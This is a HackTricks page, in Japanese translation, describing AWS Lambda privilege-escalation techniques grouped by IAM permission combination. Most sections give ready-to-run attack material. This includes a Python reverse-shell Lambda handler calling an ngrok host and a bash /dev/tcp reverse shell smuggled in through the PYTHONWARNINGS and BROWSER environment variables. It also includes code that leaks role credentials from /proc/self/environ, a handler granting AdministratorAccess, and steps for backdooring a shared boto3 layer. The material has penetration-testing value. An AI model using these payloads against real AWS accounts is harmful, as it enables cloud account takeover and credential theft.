AWS - Lambda Privesc

Support HackTricks

lambda

More info about lambda in:

AWS - Lambda Enum

iam:PassRole, lambda:CreateFunction, (lambda:InvokeFunction | lambda:InvokeFunctionUrl)

iam:PassRolelambda:CreateFunction、および lambda:InvokeFunction 権限を持つユーザーは、特権を昇格させることができます。 彼らは新しいLambda関数を作成し、既存のIAMロールを割り当てることができ、そのロールに関連付けられた権限を関数に付与します。ユーザーはその後、このLambda関数にコードを書いてアップロードすることができます(例えば、revシェルを使用して)。 関数が設定されると、ユーザーはその実行をトリガーし、AWS APIを通じてLambda関数を呼び出すことで意図したアクションを実行できます。このアプローチにより、ユーザーはLambda関数を介して間接的にタスクを実行し、それに関連付けられたIAMロールによって付与されたアクセスレベルで操作することができます。\

攻撃者はこれを悪用してrevシェルを取得し、トークンを盗むことができます:

rev.py
import socket,subprocess,os,time
def lambda_handler(event, context):
s = socket.socket(socket.AF_INET,socket.SOCK_STREAM);
s.connect(('4.tcp.ngrok.io',14305))
os.dup2(s.fileno(),0)
os.dup2(s.fileno(),1)
os.dup2(s.fileno(),2)
p=subprocess.call(['/bin/sh','-i'])
time.sleep(900)
return 0
# Zip the rev shell
zip "rev.zip" "rev.py"

# Create the function
aws lambda create-function --function-name my_function \
--runtime python3.9 --role <arn_of_lambda_role> \
--handler rev.lambda_handler --zip-file fileb://rev.zip

# Invoke the function
aws lambda invoke --function-name my_function output.txt
## If you have the lambda:InvokeFunctionUrl permission you need to expose the lambda inan URL and execute it via the URL

# List roles
aws iam list-attached-user-policies --user-name <user-name>

あなたはまた、lambda関数自体のlambdaロールの権限を悪用することができます。 もしlambdaロールに十分な権限があれば、それを使用してあなたに管理者権限を付与することができます:

import boto3
def lambda_handler(event, context):
client = boto3.client('iam')
response = client.attach_user_policy(
UserName='my_username',
PolicyArn='arn:aws:iam::aws:policy/AdministratorAccess'
)
return response

lambdaのロール資格情報を外部接続なしで漏洩させることも可能です。これは、内部タスクで使用されるネットワーク隔離されたLambdaにとって便利です。逆シェルをフィルタリングしている未知のセキュリティグループがある場合、このコードはlambdaの出力として資格情報を直接漏洩させることを可能にします。

def handler(event, context):
sessiontoken = open('/proc/self/environ', "r").read()
return {
'statusCode': 200,
'session': str(sessiontoken)
}
aws lambda invoke --function-name <lambda_name> output.txt
cat output.txt

潜在的な影響: 指定された任意のlambdaサービスロールへの直接的な権限昇格。

興味深く見えるかもしれませんが、lambda:InvokeAsync は単独では aws lambda invoke-async を実行することを許可しません。lambda:InvokeFunction も必要です。

iam:PassRole, lambda:CreateFunction, lambda:AddPermission

前のシナリオと同様に、lambda:AddPermission の権限があれば、自分に lambda:InvokeFunction の権限を付与することができます。

# Check the previous exploit and use the following line to grant you the invoke permissions
aws --profile "$NON_PRIV_PROFILE_USER" lambda add-permission --function-name my_function \
--action lambda:InvokeFunction --statement-id statement_privesc --principal "$NON_PRIV_PROFILE_USER_ARN"

潜在的な影響: 指定された任意のlambdaサービスロールへの直接的な権限昇格。

iam:PassRole, lambda:CreateFunction, lambda:CreateEventSourceMapping

iam:PassRole, lambda:CreateFunction, および lambda:CreateEventSourceMapping 権限を持つユーザー(おそらく dynamodb:PutItem および dynamodb:CreateTable も含む)は、lambda:InvokeFunction なしでも間接的に 権限を昇格 させることができます。 彼らは 悪意のあるコードを持つLambda関数を作成し、既存のIAMロールを割り当てる ことができます。

ユーザーはLambdaを直接呼び出す代わりに、既存のDynamoDBテーブルを設定または利用し、イベントソースマッピングを通じてLambdaにリンクします。この設定により、テーブルに新しいアイテムが追加されると、ユーザーのアクションまたは別のプロセスによってLambda関数が自動的にトリガーされ、渡されたIAMロールの権限でコードが実行されます。

aws lambda create-function --function-name my_function \
--runtime python3.8 --role <arn_of_lambda_role> \
--handler lambda_function.lambda_handler \
--zip-file fileb://rev.zip

もしDynamoDBがすでにAWS環境でアクティブであれば、ユーザーはLambda関数のためにイベントソースマッピングを設定する必要があります。しかし、DynamoDBが使用されていない場合、ユーザーはストリーミングが有効な新しいテーブルを作成する必要があります

aws dynamodb create-table --table-name my_table \
--attribute-definitions AttributeName=Test,AttributeType=S \
--key-schema AttributeName=Test,KeyType=HASH \
--provisioned-throughput ReadCapacityUnits=5,WriteCapacityUnits=5 \
--stream-specification StreamEnabled=true,StreamViewType=NEW_AND_OLD_IMAGES

今、イベントソースマッピングを作成することによってLambda関数をDynamoDBテーブルに接続することが可能です:

aws lambda create-event-source-mapping --function-name my_function \
--event-source-arn <arn_of_dynamodb_table_stream> \
--enabled --starting-position LATEST

DynamoDBストリームにリンクされたLambda関数を使用して、攻撃者はDynamoDBストリームをアクティブにすることでLambdaを間接的にトリガーすることができます。これは、DynamoDBテーブルにアイテムを挿入することによって実現できます:

aws dynamodb put-item --table-name my_table \
--item Test={S="Random string"}

潜在的な影響: 指定されたlambdaサービスロールへの直接的な権限昇格。

lambda:AddPermission

この権限を持つ攻撃者は自分自身(または他の人)に任意の権限を付与することができる(これはリソースベースのポリシーを生成してリソースへのアクセスを付与します):

# Give yourself all permissions (you could specify granular such as lambda:InvokeFunction or lambda:UpdateFunctionCode)
aws lambda add-permission --function-name <func_name> --statement-id asdasd --action '*' --principal arn:<your user arn>

# Invoke the function
aws lambda invoke --function-name <func_name> /tmp/outout

潜在的な影響: コードを変更して実行する権限を付与することによって、使用されるlambdaサービスロールへの直接的な権限昇格。

lambda:AddLayerVersionPermission

この権限を持つ攻撃者は自分自身(または他の人)にlambda:GetLayerVersionの権限を付与することができる。彼はレイヤーにアクセスし、脆弱性や機密情報を探すことができる。

# Give everyone the permission lambda:GetLayerVersion
aws lambda add-layer-version-permission --layer-name ExternalBackdoor --statement-id xaccount --version-number 1 --principal '*' --action lambda:GetLayerVersion

潜在的な影響: 機密情報への潜在的なアクセス。

lambda:UpdateFunctionCode

lambda:UpdateFunctionCode 権限を持つユーザーは、IAMロールにリンクされた既存のLambda関数のコードを変更する可能性があります。 攻撃者はIAM資格情報を外部に流出させるためにLambdaのコードを変更することができます。

攻撃者が関数を直接呼び出す能力を持っていない場合でも、Lambda関数が既に存在し稼働している場合、既存のワークフローやイベントを通じてトリガーされる可能性が高く、したがって変更されたコードの実行を間接的に促進することになります。

# The zip should contain the lambda code (trick: Download the current one and add your code there)
aws lambda update-function-code --function-name target_function \
--zip-file fileb:///my/lambda/code/zipped.zip

# If you have invoke permissions:
aws lambda invoke --function-name my_function output.txt

# If not check if it's exposed in any URL or via an API gateway you could access

潜在的な影響: 使用されるラムダサービスロールへの直接的な権限昇格。

lambda:UpdateFunctionConfiguration

環境変数を介したRCE

この権限を持つと、ラムダが任意のコードを実行する原因となる環境変数を追加することが可能です。例えば、Pythonでは、環境変数PYTHONWARNINGBROWSERを悪用して、Pythonプロセスが任意のコマンドを実行することができます:

aws --profile none-priv lambda update-function-configuration --function-name <func-name> --environment "Variables={PYTHONWARNINGS=all:0:antigravity.x:0:0,BROWSER=\"/bin/bash -c 'bash -i >& /dev/tcp/2.tcp.eu.ngrok.io/18755 0>&1' & #%s\"}"

他のスクリプト言語には、使用できる他の環境変数があります。詳細については、以下のリンクのスクリプト言語のサブセクションを確認してください:

Lambda Layersを介したRCE

Lambda Layersは、コードをラムダ関数に含めることを可能にしますが、別々に保存するため、関数コードは小さく保たれ、複数の関数がコードを共有できます。

ラムダ内では、次のような関数を使用して、Pythonコードが読み込まれるパスを確認できます:

import json
import sys

def lambda_handler(event, context):
print(json.dumps(sys.path, indent=2))

これらの場所です:

  1. /var/task

  2. /opt/python/lib/python3.7/site-packages

  3. /opt/python

  4. /var/runtime

  5. /var/lang/lib/python37.zip

  6. /var/lang/lib/python3.7

  7. /var/lang/lib/python3.7/lib-dynload

  8. /var/lang/lib/python3.7/site-packages

  9. /opt/python/lib/python3.7/site-packages

  10. /opt/python

例えば、ライブラリboto3は/var/runtime/boto3(4番目の位置)から読み込まれます。

悪用

lambda:UpdateFunctionConfigurationの権限を悪用して、新しいレイヤーをlambda関数に追加することが可能です。任意のコードを実行するには、このレイヤーにlambdaがインポートするライブラリを含める必要があります。lambdaのコードを読むことができれば、これを簡単に見つけることができます。また、lambdaがすでにレイヤーを使用している可能性があり、そのレイヤーをダウンロードして自分のコードを追加**することができることにも注意してください。

例えば、lambdaがライブラリboto3を使用していると仮定すると、これはライブラリの最新バージョンを持つローカルレイヤーを作成します:

pip3 install -t ./lambda_layer boto3

./lambda_layer/boto3/__init__.pyを開き、グローバルコードにバックドアを追加します(例えば、資格情報を外部に送信する関数やリバースシェルを取得する関数など)。

次に、その./lambda_layerディレクトリをzip圧縮し、新しいlambdaレイヤーを自分のアカウントにアップロードします(または被害者のアカウントに、ただしその権限がないかもしれません)。 /opt/python/boto3を上書きするために、pythonフォルダを作成し、ライブラリをそこに置く必要があることに注意してください。また、レイヤーはlambdaで使用されるpythonバージョンと互換性がある必要があります。自分のアカウントにアップロードする場合は、同じリージョンにある必要があります:

aws lambda publish-layer-version --layer-name "boto3" --zip-file file://backdoor.zip --compatible-architectures "x86_64" "arm64" --compatible-runtimes "python3.9" "python3.8" "python3.7" "python3.6"

アップロードしたラムダレイヤーを任意のアカウントがアクセスできるようにする:

aws lambda add-layer-version-permission --layer-name boto3 \
--version-number 1 --statement-id public \
--action lambda:GetLayerVersion --principal *

そして、ラムダレイヤーを被害者のラムダ関数に添付します:

aws lambda update-function-configuration \
--function-name <func-name> \
--layers arn:aws:lambda:<region>:<attacker-account-id>:layer:boto3:1 \
--timeout 300 #5min for rev shells

次のステップは、関数を自分で呼び出すか、通常の手段で呼び出されるのを待つことです。これはより安全な方法です。

この脆弱性を利用するためのよりステルスな方法は以下にあります:

AWS - Lambda Layers Persistence

潜在的な影響: 使用されるlambdaサービスロールへの直接的な権限昇格。

iam:PassRole, lambda:CreateFunction, lambda:CreateFunctionUrlConfig, lambda:InvokeFunctionUrl

これらの権限があれば、関数を作成し、URLを呼び出して実行できるかもしれません... しかし、テストする方法を見つけられなかったので、もし見つけたら教えてください!

Lambda MitM

いくつかのラムダは、ユーザーからのパラメータで機密情報を受け取ることになります。もしそのうちの1つでRCEを取得できれば、他のユーザーが送信している情報を抽出できます。詳細は以下を確認してください:

AWS - Steal Lambda Requests

参考文献

HackTricksをサポートする

Last updated